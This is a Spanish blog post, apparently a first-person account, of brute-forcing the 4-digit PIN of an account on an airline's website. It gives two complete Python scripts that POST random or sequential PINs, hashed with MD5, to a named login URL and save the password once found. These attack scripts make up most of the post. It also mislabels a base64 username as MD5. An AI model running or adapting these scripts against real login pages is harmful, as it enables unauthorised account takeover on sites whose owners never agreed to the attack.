El tema está en que no logré hallar ningún bug dentro del servidor web que hospedaba la página de la aerolínea, y al ver que las contraseñas eran de 4 dígitos númericos, saqué algunas conclusiones (en una hoja) y pude averiguar que aproximadamente en 2,83 horas podía obtener la contraseña mediante brute force.
Ojo! Ella me dio el usuario porque lo conocía, solo me pidió que averiguara la contraseña.
Antes que nada empecemos por lo primero: imaginanado que ya sabés que es el brute force en términos hackers. La contraseña eran todos dígitos numéricos y no era mayor a 4 cifras, entonces podemos ver que 10x10x10x10 son las posibilidades que tenemos de encontrar la contraseña, o sea, tenemos 1/10000 son las probabilidades que tenemos de encontrarla (sería un 0.01% de probabilidades). Esto es porque de las 10000 posibles contraseñas solo 1 es la correcta.
Luego de sacar esta simple probabilidad, calculé mediante herramientas propias lo que tardaba mi PC en conectarse al sitio, enviar mediante un comando POST una contraseña y un usuario al azar, comprobar si el usuario y la contraseña son correctos y desconectarse. Esto tardaba alrededor de 1.02 segundos. Entonces probar 10000 contraseñas hasta dar con la correcta me llevaría alrededor de 10200 segundos, o más bien, 2,83 horas.
Para hacer esto automático tuve que recurrir a un lenguaje de programación, y como era tarde, estaba cansado y contaba con poco tiempo me decanté por Python (el rey de la simplicidad y la eficiencia).
Usando la ayuda de las bibliotecas de Python (urllib2, urllib, md5, étc.), empece a codear y… salieron 2 scripts interesantes:
Generar contraseñas al azar
Código
import urllib import urllib2 import md5 import random import time abc = "0123456789"; url = "http://aerolinea.vuelefeliz.com/login" new_passwd = 0 while abc == "0123456789": if(new_passwd == 1): var0 = abc[int(random.random()*len(abc))] var1 = abc[int(random.random()*len(abc))] var2 = abc[int(random.random()*len(abc))] var3 = abc[int(random.random()*len(abc))] passwd = var0 + var1 + var2 + var3 print "- Password: " + passwd try: values={'Aer_Id':'MTYyMA==', #usuario cifrado en md5 'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password cifrada en md5 print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex") data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) html = response.read() if(html.find("Login was unsuccessful") > 0): print "Nothing of nothing...\n" new_passwd = 1 else: print "Password found!\n" arch = open("passwd_ecrews", "w") arch.write(passwd) arch.close() exit() except: print "Error...\n" new_passwd = 0
Explicado simplemente, con este script se genera una contraseña de 4 dígitos numéricos al azar. Los números van desde 0 hasta 9. Luego de esto los envía mediante un resquest POST al sitio web (simula que se llena el formulario de Usuario y Contraseña) y el sitio responde diciendo si son correctos o no. En caso de que sean incorrectos sigue intentando con otros.
values contiene los valores que se envían mediante el comando POST. Sería lo mismo que enviar:
Aer_Id=USER&Aer_Passwd=PASSWORD
Generar contraseñas desde 0000 hasta 9999
Código
import urllib import urllib2 import md5 import random import time abc = "0123456789"; url = "http://aerolinea.vuelefeliz.com/login" new_passwd = 0 for i1 in range(0, len(abc)): var0 = abc[i1] for i2 in range(0, len(abc)): var1 = abc[i2] for i3 in range(0, len(abc)): var2 = abc[i3] for i4 in range(0, len(abc)): var3 = abc[i4] passwd = var0 + var1 + var2 + var3 print "- Password: " + passwd try: values={'Aer_Id':'MTYyMA==', #esto es el usuario cifrado con md5 'Aer_Passwd':md5.new(passwd).digest().encode("hex")} #password tambien cifrada con md5 print "- Aer_Passwd: " + md5.new(passwd).digest().encode("hex") data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) html = response.read() if(html.find("Login was unsuccessful") > 0): print "Nothing of nothing...\n" else: #si encuentra la password la guarda en un archivo llamado passwd_found print "Password found!\n" arch = open("passwd_found", "w") arch.write(passwd) arch.close() exit() except: print "Error...\n"
Este script hace lo mismo que el anterior, con la única diferencia de que genera contraseñas sucesivas, desde 0000 hasta 9999. Es un poco más seguro ya que te asegura que prueba todas las contraseñas posibles y no las repite.
Para acelerar el proceso de brute forcing utilicé el primer script en mi PC y el otro lo ejecuté en un servidor shell que tengo en el mundo exterior con Python instalado, por lo que en menos de 50 minutos la contraseña estaba en mis manos. Pero no se pongan felices, porque como ya les dije yo ya conocía el usuario, solo tenía que descubrir la contraseña. Este método es eficaz cuando las contraseñas son cortas y numéricas, con una contraseña como “as5z8x2!!a2s5″ estaríamos más de 2 siglos probando descubrirlas, y más aún si no conocemos el usuario (el tiempo puede variar un poco, tal vez exageré).
Si la contraseña hubiera sido más larga me hubiera decantado por el primer script, ya que no estaría probando contraseñas tontas, sino probaría contraseñas al azar y, con muuucha suerte, daría más rápido con la misma.
Bueno, cualquier duda ya saben por donde ando: mail o blog . En el próximo artículo voy a explicar algunos métodos para realizar técnicas de brute forcing.